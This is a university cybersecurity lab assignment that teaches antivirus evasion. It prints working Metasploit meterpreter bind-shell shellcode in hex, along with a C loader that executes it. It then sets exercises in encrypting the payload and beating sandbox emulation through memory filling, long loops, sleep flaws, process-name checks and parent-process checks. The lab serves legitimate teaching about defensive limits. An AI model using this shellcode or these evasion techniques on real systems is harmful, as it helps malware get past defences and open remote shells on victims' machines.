CS 577 Cybersecurity Lab

Stevens Institute of Technology

Lab 7 – due 11/06/14 6:15pm

Instructor Georgios Portokalidis

Teaching Assistant Dimitrios Damopoulos

This assignment will help you understand the limitations of the techniques used by anti-virus engines (AVs). You will learn how they can be exploited by bypassing a few popular engines. After completing this lab you will be able to answer questions like: "Are AVs easy to bypass?" and "Are AVs mandatory for in-depth defense?".

This lab will be done on the linux-VM.

You will need to install 2 programs (the free version):

ClamAV : http://www.clamav.net/index.html
AVG for Linux: http://free.avg.com/us-en/129024

You will also use an online AV system to test your programs:
VirusTotal: https://www.virustotal.com/

Dynamic analysis

These days most AVs rely on dynamic analysis for detecting malware. Besides directly scanning binaries, executables are launched in a virtual environment and executed for a short amount of time, and then scanned again. Combining this with signature verification and heuristic analysis allows detecting (more) unknown malwares even if they are using compression or encryption to hide their payload (packing). Indeed, by executing a binary the analysis aims to allow malware to self-decrypt in a sandbox (isolated environment). Then, the code can be scanned using known signatures or patterns of suspicious behaviors.

So in principle AVs can detect malware that utilize packing. In practice, however, dynamic analysis is a complex process that needs to be able to scale, scanning millions of files quickly. The way it is currently applied it has two main limitations that can be exploited:

- Scans has to be very fast, so there is a limit to the number of operations it can run for each scan

- The environment is emulated and is not a faithful copy of the real environment (software and hardware)
    - The emulated/sandbox environment can be detected by the malware

Bypassing Antivirus consists in two big steps:

- Hiding the malware's payload, which could be recognized as malicious, using encryption
- Develop the decryption stub in such a way that it is not detected by the AV and does execute "properly" under emulation/sandboxing

Meterpreter shellcode

The following code belongs to metasploit's meterpreter payload. Your goal is to hide it from the AVs.

```
1.
2.  /*
3.   * windows/meterpreter/bind_tcp - 298 bytes (stage 1)
4.   * http://www.metasploit.com
5.   * VERBOSE=false, LPORT=80, RHOST=, EnableStageEncoding=false,
6.   * PrependMigrate=false, EXITFUNC=process, AutoLoadStdapi=true,
7.   * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
8.   * EnableUnicodeEncoding=true
9.   */
10. unsigned char buf[] =
11. "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
12. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
13. "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
14. "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
15. "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
16. "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
17. "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
18. "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
19. "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
20. "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
21. "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
22. "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
23. "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31"
24. "\xdb\x53\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56\x57\x68\xc2"
25. "\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53"
```

```
"\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d"
"\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";


/* Launch the meterpreter shellcode */
int main()
 {
   /* Declare pointer on function */
   int (*func) ();
   /* Cast shellcode into function */
   func = (int (*) ()) buf;
   /* Call function (Execute shellcode) */
   (int) (*func) ();
}
```

Exercise 1. Encrypt malware (20%)

Create a malware programs that includes and executes the meterpreter shellcode. Encrypted the code in such a way that AV analysis. Check your program with the aforementioned AVs. Report and discuss the results. *Try not to flood the online AV engine, as it may cause you to be banned.*

Here is an example of the main function:

```
/* main entry */

int main( void ) {

        decryptCodeSection(); // Decrypt the code

        startShellCode(); // Call the Meterpreter shellcode in decrypted code

        return 0;

}
```

Exercise 2. Allocate and fill 100M memory (15%)

Allocate and fill 100 Mega Bytes of memory. Is this enough to discourage any emulation AV out there? Experiment with different sizes. Report and discuss the results.

Exercise 3. Hundred million increments (15%)

Do basic operations for a sufficient number of time. Is enough to bypass AV, while not overburdening for a modern CPU?

Try to use for / if /else statements to hide your shellcode.

Exercise 4. Time distortion (10%)

We know that the sleep() function is emulated by AVs. This is done in order to prevent bypassing the scan time limit with a simple call to Sleep. However, there a flaw in the way sleep() is emulated. Can you find it and avoid detection?

Exercise 5. What is my name? (20%)

Since the code is emulated it may not be executed in a process with the name as the binary file. This method is described by Attila Marosi in DeepSec http://blog.deepsec.net/?p=1613

The tested binary file is "test.exe". In the ext code we check that first argument contains name of the file.

Exercise 6. I am my own father (20%)

The executable (test.exe) will only enter the decryption branch if its parent process is also test.exe. When the code is launched, it will get its parent process ID and if this parent process is not test.exe, it will call test.exe and then stop. The called process will then have a parent called test.exe and will enter the decryption part.

Bonus 1. Your own way (20%)

Propose, describe, implement, and test a different way, your way, to bypass AV.

Keep it Simple!

Grading

As always, we will grade your work on quality from both the user's and programmer's points of view. Each program should contain function-level and local comments as appropriate, as well as an explanation of the program's principles of operation. **PLEASE SUBMIT**: ***Documentation***, ***your source code with comments***, ***a report with all the steps and problems you had***.